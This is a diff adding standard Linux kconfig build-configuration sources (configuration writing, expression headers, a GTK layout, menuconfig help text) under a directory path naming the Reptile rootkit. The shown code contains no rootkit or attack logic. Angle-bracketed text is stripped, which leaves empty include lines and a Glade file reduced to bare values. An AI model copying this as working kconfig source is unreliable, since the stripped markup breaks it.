dir); + out = fopen(buf, "w"); + if (!out) + return 1; + + sprintf(buf, "%s.tmpconfig_tristate", dir); + tristate = fopen(buf, "w"); + if (!tristate) { + fclose(out); + return 1; + } + + sprintf(buf, "%s.tmpconfig.h", dir); + out_h = fopen(buf, "w"); + if (!out_h) { + fclose(out); + fclose(tristate); + return 1; + } + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + conf_write_heading(tristate, &tristate_printer_cb, NULL); + + conf_write_heading(out_h, &header_printer_cb, NULL); + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE) || !sym->name) + continue; + + /* write symbol to auto.conf, tristate and header files */ + conf_write_symbol(out, sym, &kconfig_printer_cb, (void *)1); + + conf_write_symbol(tristate, sym, &tristate_printer_cb, (void *)1); + + conf_write_symbol(out_h, sym, &header_printer_cb, NULL); + } + fclose(out); + fclose(tristate); + fclose(out_h); + + name = getenv("KCONFIG_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + sprintf(buf, "%s.tmpconfig.h", dir); + if (rename(buf, name)) + return 1; + name = getenv("KCONFIG_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + sprintf(buf, "%s.tmpconfig_tristate", dir); + if (rename(buf, name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ + sprintf(buf, "%s.tmpconfig", dir); + if (rename(buf, name)) + return 1; + + return 0; +} + +static int sym_change_count; +static void (*conf_changed_callback)(void); + +void sym_set_change_count(int count) +{ + int _sym_change_count = sym_change_count; + sym_change_count = count; + if (conf_changed_callback && + (bool)_sym_change_count != (bool)count) + conf_changed_callback(); +} + +void sym_add_change_count(int count) +{ + sym_set_change_count(count + sym_change_count); +} + +bool conf_get_changed(void) +{ + return sym_change_count; +} + +void conf_set_changed_callback(void (*fn)(void)) +{ + conf_changed_callback = fn; +} + +static bool randomize_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + int cnt, def; + + /* + * If choice is mod then we may have more items selected + * and if no then no-one. + * In both cases stop. + */ + if (csym->curr.tri != yes) + return false; + + prop = sym_get_choice_prop(csym); + + /* count entries in choice block */ + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) + cnt++; + + /* + * find a random value and set it to yes, + * set the rest to no so we have only one set + */ + def = (rand() % cnt); + + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) { + if (def == cnt++) { + sym->def[S_DEF_USER].tri = yes; + csym->def[S_DEF_USER].val = sym; + } + else { + sym->def[S_DEF_USER].tri = no; + } + sym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + sym->flags &= ~SYMBOL_VALID; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID); + + return true; +} + +void set_all_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + + prop = sym_get_choice_prop(csym); + + /* + * Set all non-assinged choice values to no + */ + expr_list_for_each_sym(prop->expr, e, sym) { + if (!sym_has_value(sym)) + sym->def[S_DEF_USER].tri = no; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID | SYMBOL_NEED_SET_CHOICE_VALUES); +} + +bool conf_set_all_new_symbols(enum conf_def_mode mode) +{ + struct symbol *sym, *csym; + int i, cnt, pby, pty, ptm; /* pby: probability of boolean = y + * pty: probability of tristate = y + * ptm: probability of tristate = m + */ + + pby = 50; pty = ptm = 33; /* can't go as the default in switch-case + * below, otherwise gcc whines about + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; + char *env = getenv("KCONFIG_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; + int tmp = strtol( env, &endp, 10 ); + if( tmp >= 0 && tmp <= 100 ) { + p[n++] = tmp; + } else { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; + if( n >=3 ) { + break; + } + } + switch( n ) { + case 1: + pby = p[0]; ptm = pby/2; pty = pby-ptm; + break; + case 2: + pty = p[0]; ptm = p[1]; pby = pty + ptm; + break; + case 3: + pby = p[0]; pty = p[1]; ptm = p[2]; + break; + } + + if( pty+ptm > 100 ) { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + } + bool has_changed = false; + + for_all_symbols(i, sym) { + if (sym_has_value(sym) || (sym->flags & SYMBOL_VALID)) + continue; + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + has_changed = true; + switch (mode) { + case def_yes: + sym->def[S_DEF_USER].tri = yes; + break; + case def_mod: + sym->def[S_DEF_USER].tri = mod; + break; + case def_no: + sym->def[S_DEF_USER].tri = no; + break; + case def_random: + sym->def[S_DEF_USER].tri = no; + cnt = rand() % 100; + if (sym->type == S_TRISTATE) { + if (cnt < pty) + sym->def[S_DEF_USER].tri = yes; + else if (cnt < (pty+ptm)) + sym->def[S_DEF_USER].tri = mod; + } else if (cnt < pby) + sym->def[S_DEF_USER].tri = yes; + break; + default: + continue; + } + if (!(sym_is_choice(sym) && mode == def_random)) + sym->flags |= SYMBOL_DEF_USER; + break; + default: + break; + } + + } + + sym_clear_all_valid(); + + /* + * We have different type of choice blocks. + * If curr.tri equals to mod then we can select several + * choice symbols in one block. + * In this case we do nothing. + * If curr.tri equals yes then only one symbol can be + * selected in a choice block and we set it to yes, + * and the rest to no. + */ + if (mode != def_random) { + for_all_symbols(i, csym) { + if ((sym_is_choice(csym) && !sym_has_value(csym)) || + sym_is_choice_value(csym)) + csym->flags |= SYMBOL_NEED_SET_CHOICE_VALUES; + } + } + + for_all_symbols(i, csym) { + if (sym_has_value(csym) || !sym_is_choice(csym)) + continue; + + sym_calc_value(csym); + if (mode == def_random) + has_changed = randomize_choice_values(csym); + else { + set_all_choice_values(csym); + has_changed = true; + } + } + + return has_changed; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/expr.h b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/expr.h new file mode 100644 index 0000000..ba663e1 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/expr.h @@ -0,0 +1,238 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#ifndef EXPR_H +#define EXPR_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include "list.h" +#ifndef __cplusplus +#include +#endif + +struct file { + struct file *next; + struct file *parent; + const char *name; + int lineno; +}; + +typedef enum tristate { + no, mod, yes +} tristate; + +enum expr_type { + E_NONE, E_OR, E_AND, E_NOT, E_EQUAL, E_UNEQUAL, E_LIST, E_SYMBOL, E_RANGE +}; + +union expr_data { + struct expr *expr; + struct symbol *sym; +}; + +struct expr { + enum expr_type type; + union expr_data left, right; +}; + +#define EXPR_OR(dep1, dep2) (((dep1)>(dep2))?(dep1):(dep2)) +#define EXPR_AND(dep1, dep2) (((dep1)<(dep2))?(dep1):(dep2)) +#define EXPR_NOT(dep) (2-(dep)) + +#define expr_list_for_each_sym(l, e, s) \ + for (e = (l); e && (s = e->right.sym); e = e->left.expr) + +struct expr_value { + struct expr *expr; + tristate tri; +}; + +struct symbol_value { + void *val; + tristate tri; +}; + +enum symbol_type { + S_UNKNOWN, S_BOOLEAN, S_TRISTATE, S_INT, S_HEX, S_STRING, S_OTHER +}; + +/* enum values are used as index to symbol.def[] */ +enum { + S_DEF_USER, /* main user value */ + S_DEF_AUTO, /* values read from auto.conf */ + S_DEF_DEF3, /* Reserved for UI usage */ + S_DEF_DEF4, /* Reserved for UI usage */ + S_DEF_COUNT +}; + +struct symbol { + struct symbol *next; + char *name; + enum symbol_type type; + struct symbol_value curr; + struct symbol_value def[S_DEF_COUNT]; + tristate visible; + int flags; + struct property *prop; + struct expr_value dir_dep; + struct expr_value rev_dep; +}; + +#define for_all_symbols(i, sym) for (i = 0; i < SYMBOL_HASHSIZE; i++) for (sym = symbol_hash[i]; sym; sym = sym->next) if (sym->type != S_OTHER) + +#define SYMBOL_CONST 0x0001 /* symbol is const */ +#define SYMBOL_CHECK 0x0008 /* used during dependency checking */ +#define SYMBOL_CHOICE 0x0010 /* start of a choice block (null name) */ +#define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */ +#define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */ +#define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */ +#define SYMBOL_WRITE 0x0200 /* write symbol to file (KCONFIG_CONFIG) */ +#define SYMBOL_CHANGED 0x0400 /* ? */ +#define SYMBOL_AUTO 0x1000 /* value from environment variable */ +#define SYMBOL_CHECKED 0x2000 /* used during dependency checking */ +#define SYMBOL_WARNED 0x8000 /* warning has been issued */ + +/* Set when symbol.def[] is used */ +#define SYMBOL_DEF 0x10000 /* First bit of SYMBOL_DEF */ +#define SYMBOL_DEF_USER 0x10000 /* symbol.def[S_DEF_USER] is valid */ +#define SYMBOL_DEF_AUTO 0x20000 /* symbol.def[S_DEF_AUTO] is valid */ +#define SYMBOL_DEF3 0x40000 /* symbol.def[S_DEF_3] is valid */ +#define SYMBOL_DEF4 0x80000 /* symbol.def[S_DEF_4] is valid */ + +/* choice values need to be set before calculating this symbol value */ +#define SYMBOL_NEED_SET_CHOICE_VALUES 0x100000 + +#define SYMBOL_MAXLENGTH 256 +#define SYMBOL_HASHSIZE 9973 + +/* A property represent the config options that can be associated + * with a config "symbol". + * Sample: + * config FOO + * default y + * prompt "foo prompt" + * select BAR + * config BAZ + * int "BAZ Value" + * range 1..255 + */ +enum prop_type { + P_UNKNOWN, + P_PROMPT, /* prompt "foo prompt" or "BAZ Value" */ + P_COMMENT, /* text associated with a comment */ + P_MENU, /* prompt associated with a menuconfig option */ + P_DEFAULT, /* default y */ + P_CHOICE, /* choice value */ + P_SELECT, /* select BAR */ + P_RANGE, /* range 7..100 (for a symbol) */ + P_ENV, /* value from environment variable */ + P_SYMBOL, /* where a symbol is defined */ +}; + +struct property { + struct property *next; /* next property - null if last */ + struct symbol *sym; /* the symbol for which the property is associated */ + enum prop_type type; /* type of property */ + const char *text; /* the prompt value - P_PROMPT, P_MENU, P_COMMENT */ + struct expr_value visible; + struct expr *expr; /* the optional conditional part of the property */ + struct menu *menu; /* the menu the property are associated with + * valid for: P_SELECT, P_RANGE, P_CHOICE, + * P_PROMPT, P_DEFAULT, P_MENU, P_COMMENT */ + struct file *file; /* what file was this property defined */ + int lineno; /* what lineno was this property defined */ +}; + +#define for_all_properties(sym, st, tok) \ + for (st = sym->prop; st; st = st->next) \ + if (st->type == (tok)) +#define for_all_defaults(sym, st) for_all_properties(sym, st, P_DEFAULT) +#define for_all_choices(sym, st) for_all_properties(sym, st, P_CHOICE) +#define for_all_prompts(sym, st) \ + for (st = sym->prop; st; st = st->next) \ + if (st->text) + +struct menu { + struct menu *next; + struct menu *parent; + struct menu *list; + struct symbol *sym; + struct property *prompt; + struct expr *visibility; + struct expr *dep; + unsigned int flags; + char *help; + struct file *file; + int lineno; + void *data; +}; + +#define MENU_CHANGED 0x0001 +#define MENU_ROOT 0x0002 + +struct jump_key { + struct list_head entries; + size_t offset; + struct menu *target; + int index; +}; + +#define JUMP_NB 9 + +extern struct file *file_list; +extern struct file *current_file; +struct file *lookup_file(const char *name); + +extern struct symbol symbol_yes, symbol_no, symbol_mod; +extern struct symbol *modules_sym; +extern struct symbol *sym_defconfig_list; +extern int cdebug; +struct expr *expr_alloc_symbol(struct symbol *sym); +struct expr *expr_alloc_one(enum expr_type type, struct expr *ce); +struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2); +struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2); +struct expr *expr_alloc_and(struct expr *e1, struct expr *e2); +struct expr *expr_alloc_or(struct expr *e1, struct expr *e2); +struct expr *expr_copy(const struct expr *org); +void expr_free(struct expr *e); +int expr_eq(struct expr *e1, struct expr *e2); +void expr_eliminate_eq(struct expr **ep1, struct expr **ep2); +tristate expr_calc_value(struct expr *e); +struct expr *expr_eliminate_yn(struct expr *e); +struct expr *expr_trans_bool(struct expr *e); +struct expr *expr_eliminate_dups(struct expr *e); +struct expr *expr_transform(struct expr *e); +int expr_contains_symbol(struct expr *dep, struct symbol *sym); +bool expr_depends_symbol(struct expr *dep, struct symbol *sym); +struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2); +struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2); +void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2); +struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym); +struct expr *expr_simplify_unmet_dep(struct expr *e1, struct expr *e2); + +void expr_fprint(struct expr *e, FILE *out); +struct gstr; /* forward */ +void expr_gstr_print(struct expr *e, struct gstr *gs); + +static inline int expr_is_yes(struct expr *e) +{ + return !e || (e->type == E_SYMBOL && e->left.sym == &symbol_yes); +} + +static inline int expr_is_no(struct expr *e) +{ + return e && (e->type == E_SYMBOL && e->left.sym == &symbol_no); +} + +#ifdef __cplusplus +} +#endif + +#endif /* EXPR_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/gconf.glade b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/gconf.glade new file mode 100644 index 0000000..6cbc1bb --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/gconf.glade @@ -0,0 +1,661 @@ + + + + + + True + Gtk Buildroot Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False + 640 + 480 + True + False + True + False + False + GDK_WINDOW_TYPE_HINT_NORMAL + GDK_GRAVITY_NORTH_WEST + + + + + + + True + False + 0 + + + + True + + + + True + _File + True + + + + + + + True + Load a config file + _Load + True + + + + + + True + gtk-open + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in .config + _Save + True + + + + + + True + gtk-save + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in a file + Save _as + True + + + + + True + gtk-save-as + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + + + + + + True + _Quit + True + + + + + + True + gtk-quit + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + + True + _Options + True + + + + + + + True + Show name + Show _name + True + False + + + + + + + True + Show range (Y/M/N) + Show _range + True + False + + + + + + + True + Show value of the option + Show _data + True + False + + + + + + + True + + + + + + True + Show normal options + Show normal options + True + True + + + + + + + True + Show all options + Show all _options + True + False + set_option_mode1 + + + + + + + True + Show all options with prompts + Show all prompt options + True + False + set_option_mode1 + + + + + + + + + + + + True + _Help + True + + + + + + + True + _Introduction + True + + + + + + True + gtk-dialog-question + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _About + True + + + + + + True + gtk-properties + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _License + True + + + + + True + gtk-justify-fill + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + 0 + False + False + + + + + + True + GTK_SHADOW_OUT + GTK_POS_LEFT + GTK_POS_TOP + + + + True + GTK_ORIENTATION_HORIZONTAL + GTK_TOOLBAR_BOTH + True + True + + + + True + Goes up of one level (single view) + Back + True + gtk-undo + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Load a config file + Load + True + gtk-open + True + True + False + + + + False + True + + + + + + True + Save a config file + Save + True + gtk-save + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Single view + Single + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Split view + Split + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Full view + Full + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Collapse the whole tree in the right frame + Collapse + True + gtk-remove + True + True + False + + + + False + True + + + + + + True + Expand the whole tree in the right frame + Expand + True + gtk-add + True + True + False + + + + False + True + + + + + + + 0 + False + False + + + + + + 1 + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + GTK_POLICY_NEVER + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + False + False + True + GTK_JUSTIFY_LEFT + GTK_WRAP_WORD + True + 0 + 0 + 0 + 0 + 0 + 0 + Sorry, no help available for this option yet. + + + + + True + True + + + + + True + True + + + + + 0 + True + True + + + + + + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/lkc.h b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/lkc.h new file mode 100644 index 0000000..09f4edf --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/lkc.h @@ -0,0 +1,199 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#ifndef LKC_H +#define LKC_H + +#include "expr.h" + +#ifndef KBUILD_NO_NLS +# include +#else +static inline const char *gettext(const char *txt) { return txt; } +static inline void textdomain(const char *domainname) {} +static inline void bindtextdomain(const char *name, const char *dir) {} +static inline char *bind_textdomain_codeset(const char *dn, char *c) { return c; } +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#define P(name,type,arg) extern type name arg +#include "lkc_proto.h" +#undef P + +#define SRCTREE "srctree" + +#ifndef PACKAGE +#define PACKAGE "linux" +#endif + +#define LOCALEDIR "/usr/share/locale" + +#define _(text) gettext(text) +#define N_(text) (text) + +#ifndef CONFIG_ +#define CONFIG_ "CONFIG_" +#endif +static inline const char *CONFIG_prefix(void) +{ + return getenv( "CONFIG_" ) ?: CONFIG_; +} +#undef CONFIG_ +#define CONFIG_ CONFIG_prefix() + +#define TF_COMMAND 0x0001 +#define TF_PARAM 0x0002 +#define TF_OPTION 0x0004 + +enum conf_def_mode { + def_default, + def_yes, + def_mod, + def_no, + def_random +}; + +#define T_OPT_MODULES 1 +#define T_OPT_DEFCONFIG_LIST 2 +#define T_OPT_ENV 3 + +struct kconf_id { + int name; + int token; + unsigned int flags; + enum symbol_type stype; +}; + +extern int zconfdebug; + +int zconfparse(void); +void zconfdump(FILE *out); +void zconf_starthelp(void); +FILE *zconf_fopen(const char *name); +void zconf_initscan(const char *name); +void zconf_nextfile(const char *name); +int zconf_lineno(void); +const char *zconf_curname(void); + +/* confdata.c */ +const char *conf_get_configname(void); +const char *conf_get_autoconfig_name(void); +char *conf_get_default_confname(void); +void sym_set_change_count(int count); +void sym_add_change_count(int count); +bool conf_set_all_new_symbols(enum conf_def_mode mode); +void set_all_choice_values(struct symbol *csym); + +struct conf_printer { + void (*print_symbol)(FILE *, struct symbol *, const char *, void *); + void (*print_comment)(FILE *, const char *, void *); +}; + +/* confdata.c and expr.c */ +static inline void xfwrite(const void *str, size_t len, size_t count, FILE *out) +{ + assert(len != 0); + + if (fwrite(str, len, count, out) != count) + fprintf(stderr, "Error in writing or end of file.\n"); +} + +/* menu.c */ +void _menu_init(void); +void menu_warn(struct menu *menu, const char *fmt, ...); +struct menu *menu_add_menu(void); +void menu_end_menu(void); +void menu_add_entry(struct symbol *sym); +void menu_end_entry(void); +void menu_add_dep(struct expr *dep); +void menu_add_visibility(struct expr *dep); +struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep); +struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep); +void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep); +void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep); +void menu_add_option(int token, char *arg); +void menu_finalize(struct menu *parent); +void menu_set_type(int type); + +/* util.c */ +struct file *file_lookup(const char *name); +int file_write_dep(const char *name); +void *xmalloc(size_t size); +void *xcalloc(size_t nmemb, size_t size); + +struct gstr { + size_t len; + char *s; + /* + * when max_width is not zero long lines in string s (if any) get + * wrapped not to exceed the max_width value + */ + int max_width; +}; +struct gstr str_new(void); +struct gstr str_assign(const char *s); +void str_free(struct gstr *gs); +void str_append(struct gstr *gs, const char *s); +void str_printf(struct gstr *gs, const char *fmt, ...); +const char *str_get(struct gstr *gs); + +/* symbol.c */ +extern struct expr *sym_env_list; + +void sym_init(void); +void sym_clear_all_valid(void); +void sym_set_all_changed(void); +void sym_set_changed(struct symbol *sym); +struct symbol *sym_choice_default(struct symbol *sym); +const char *sym_get_string_default(struct symbol *sym); +struct symbol *sym_check_deps(struct symbol *sym); +struct property *prop_alloc(enum prop_type type, struct symbol *sym); +struct symbol *prop_get_symbol(struct property *prop); +struct property *sym_get_env_prop(struct symbol *sym); + +static inline tristate sym_get_tristate_value(struct symbol *sym) +{ + return sym->curr.tri; +} + + +static inline struct symbol *sym_get_choice_value(struct symbol *sym) +{ + return (struct symbol *)sym->curr.val; +} + +static inline bool sym_set_choice_value(struct symbol *ch, struct symbol *chval) +{ + return sym_set_tristate_value(chval, yes); +} + +static inline bool sym_is_choice(struct symbol *sym) +{ + return sym->flags & SYMBOL_CHOICE ? true : false; +} + +static inline bool sym_is_choice_value(struct symbol *sym) +{ + return sym->flags & SYMBOL_CHOICEVAL ? true : false; +} + +static inline bool sym_is_optional(struct symbol *sym) +{ + return sym->flags & SYMBOL_OPTIONAL ? true : false; +} + +static inline bool sym_has_value(struct symbol *sym) +{ + return sym->flags & SYMBOL_DEF_USER ? true : false; +} + +#ifdef __cplusplus +} +#endif + +#endif /* LKC_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/mconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/mconf.c new file mode 100644 index 0000000..7d6cf80 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/mconf.c @@ -0,0 +1,1037 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + * + * Introduced single menu mode (show all sub-menus in one large tree). + * 2002-11-06 Petr Baudis + * + * i18n, 2005, Arnaldo Carvalho de Melo + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" +#include "lxdialog/dialog.h" + +static const char mconf_readme[] = N_( +"Overview\n" +"--------\n" +"This interface lets you select features and parameters for the build.\n" +"Features can either be built-in, modularized, or ignored. Parameters\n" +"must be entered in as decimal or hexadecimal numbers or text.\n" +"\n" +"Menu items beginning with following braces represent features that\n" +" [ ] can be built in or removed\n" +" < > can be built in, modularized or removed\n" +" { } can be built in or modularized (selected by other feature)\n" +" - - are selected by other feature,\n" +"while *, M or whitespace inside braces means to build in, build as\n" +"a module or to exclude the feature respectively.\n" +"\n" +"To change any of these features, highlight it with the cursor\n" +"keys and press to build it in, to make it a module or\n" +" to remove it. You may also press the to cycle\n" +"through the available options (i.e. Y->N->M->Y).\n" +"\n" +"Some additional keyboard hints:\n" +"\n" +"Menus\n" +"----------\n" +"o Use the Up/Down arrow keys (cursor keys) to highlight the item you\n" +" wish to change or the submenu you wish to select and press .\n" +" Submenus are designated by \"--->\", empty ones by \"----\".\n" +"\n" +" Shortcut: Press the option's highlighted letter (hotkey).\n" +" Pressing a hotkey more than once will sequence\n" +" through all visible items which use that hotkey.\n" +"\n" +" You may also use the and keys to scroll\n" +" unseen options into view.\n" +"\n" +"o To exit a menu use the cursor keys to highlight the button\n" +" and press .\n" +"\n" +" Shortcut: Press or or if there is no hotkey\n" +" using those letters. You may press a single , but\n" +" there is a delayed response which you may find annoying.\n" +"\n" +" Also, the and cursor keys will cycle between and\n" +" \n" +"\n" +"\n" +"Data Entry\n" +"-----------\n" +"o Enter the requested information and press \n" +" If you are entering hexadecimal values, it is not necessary to\n" +" add the '0x' prefix to the entry.\n" +"\n" +"o For help, use the or cursor keys to highlight the help option\n" +" and press . You can try as well.\n" +"\n" +"\n" +"Text Box (Help Window)\n" +"--------\n" +"o Use the cursor keys to scroll up/down/left/right. The VI editor\n" +" keys h,j,k,l function here as do , , and for\n" +" those who are familiar with less and lynx.\n" +"\n" +"o Press , , , or to exit.\n" +"\n" +"\n" +"Alternate Configuration Files\n" +"-----------------------------\n" +"Menuconfig supports the use of alternate configuration files for\n" +"those who, for various reasons, find it necessary to switch\n" +"between different configurations.\n" +"\n" +"The button will let you save the current configuration to\n" +"a file of your choosing. Use the button to load a previously\n" +"saved alternate configuration.\n" +"\n" +"Even if you don't use alternate configuration files, but you find\n" +"during a Menuconfig session that you have completely messed up your\n" +"settings, you may use the button to restore your previously\n" +"saved settings from \".config\" without restarting Menuconfig.\n" +"\n" +"Other information\n" +"-----------------\n" +"If you use Menuconfig in an XTERM window, make sure you have your\n" +"$TERM variable set to point to an xterm definition which supports\n" +"color. Otherwise, Menuconfig will look rather bad. Menuconfig will\n" +"not display correctly in an RXVT window because rxvt displays only one\n" +"intensity of color, bright.\n" +"\n" +"Menuconfig will display larger menus on screens or xterms which are\n" +"set to display more than the standard 25 row by 80 column geometry.\n" +"In order for this to work, the \"stty size\" command must be able to\n" +"display the screen's current row and column geometry. I STRONGLY\n" +"RECOMMEND that you make sure you do NOT have the shell variables\n" +"LINES and COLUMNS exported into your environment. Some distributions\n" +"export those variables via /etc/profile. Some ncurses programs can\n" +"become confused when those variables (LINES & COLUMNS) don't reflect\n" +"the true screen size.\n" +"\n" +"Optional personality available\n" +"------------------------------\n" +"If you prefer to have all of the options listed in a single menu,\n" +"rather than the default multimenu hierarchy, run the menuconfig with\n" +"MENUCONFIG_MODE environment variable set to single_menu. Example:\n" +"\n" +"make MENUCONFIG_MODE=single_menu menuconfig\n" +"\n" +" will then unroll the appropriate category, or enfold it if it\n" +"is already unrolled.\n" +"\n" +"Note that this mode can eventually be a little more CPU expensive\n" +"(especially with a larger number of unrolled categories) than the\n" +"default mode.\n" +"\n" +"Different color themes available\n" +"--------------------------------\n" +"It is possible to select different color themes using the variable\n" +"MENUCONFIG_COLOR. To select a theme use:\n" +"\n" +"make MENUCONFIG_COLOR= menuconfig\n" +"\n" +"Available themes are\n" +" mono => selects colors suitable for monochrome displays\n" +" blackbg => selects a color scheme with black background\n" +" classic => theme with blue background. The classic look\n" +" bluetitle => an LCD friendly version of classic. (default)\n" +"\n"), +menu_instructions[] = N_( + "Arrow keys navigate the menu. " + " selects submenus ---> (or empty submenus ----). " + "Highlighted letters are hotkeys. " + "Pressing selectes a feature, while will exclude a feature. " + "Press to exit, for Help, for Search. " + "Legend: [*] feature is selected [ ] feature is excluded"), +radiolist_instructions[] = N_( + "Use the arrow keys to navigate this window or " + "press the hotkey of the item you wish to select " + "followed by the . " + "Press for additional information about this option."), +inputbox_instructions_int[] = N_( + "Please enter a decimal value. " + "Fractions will not be accepted. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_hex[] = N_( + "Please enter a hexadecimal value. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_string[] = N_( + "Please enter a string value. " + "Use the key to move from the input field to the buttons below it."), +setmod_text[] = N_( + "This feature depends on another which has been configured as a module.\n" + "As a result, this feature will be built as a module."), +load_config_text[] = N_( + "Enter the name of the configuration file you wish to load. " + "Accept the name shown to restore the configuration you " + "last retrieved. Leave blank to abort."), +load_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep several different\n" + "configurations available on a single machine.\n" + "\n" + "If you have saved a previous configuration in a file other than the\n" + "default one, entering its name here will allow you to modify that\n" + "configuration.\n" + "\n" + "If you are uncertain, then you have probably never used alternate\n" + "configuration files. You should therefore leave this blank to abort.\n"), +save_config_text[] = N_( + "Enter a filename to which this configuration should be saved " + "as an alternate. Leave blank to abort."), +save_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep different configurations\n" + "available on a single machine.\n" + "\n" + "Entering a file name here will allow you to later retrieve, modify\n" + "and use the current configuration as an alternate to whatever\n" + "configuration options you have selected at that time.\n" + "\n" + "If you are uncertain what all this means then you should probably\n" + "leave this blank.\n"), +search_help[] = N_( + "\n" + "Search for symbols and display their relations.\n" + "Regular expressions are allowed.\n" + "Example: search for \"^FOO\"\n" + "Result:\n" + "-----------------------------------------------------------------\n" + "Symbol: FOO [=m]\n" + "Type : tristate\n" + "Prompt: Foo bus is used to drive the bar HW\n" + " Location:\n" + " -> Bus options (PCI, PCMCIA, EISA, ISA)\n" + " -> PCI support (PCI [=y])\n" + "(1) -> PCI access mode ( [=y])\n" + " Defined at drivers/pci/Kconfig:47\n" + " Depends on: X86_LOCAL_APIC && X86_IO_APIC || IA64\n" + " Selects: LIBCRC32\n" + " Selected by: BAR [=n]\n" + "-----------------------------------------------------------------\n" + "o The line 'Type:' shows the type of the configuration option for\n" + " this symbol (boolean, tristate, string, ...)\n" + "o The line 'Prompt:' shows the text used in the menu structure for\n" + " this symbol\n" + "o The 'Defined at' line tells at what file / line number the symbol\n" + " is defined\n" + "o The 'Depends on:' line tells what symbols need to be defined for\n" + " this symbol to be visible in the menu (selectable)\n" + "o The 'Location:' lines tells where in the 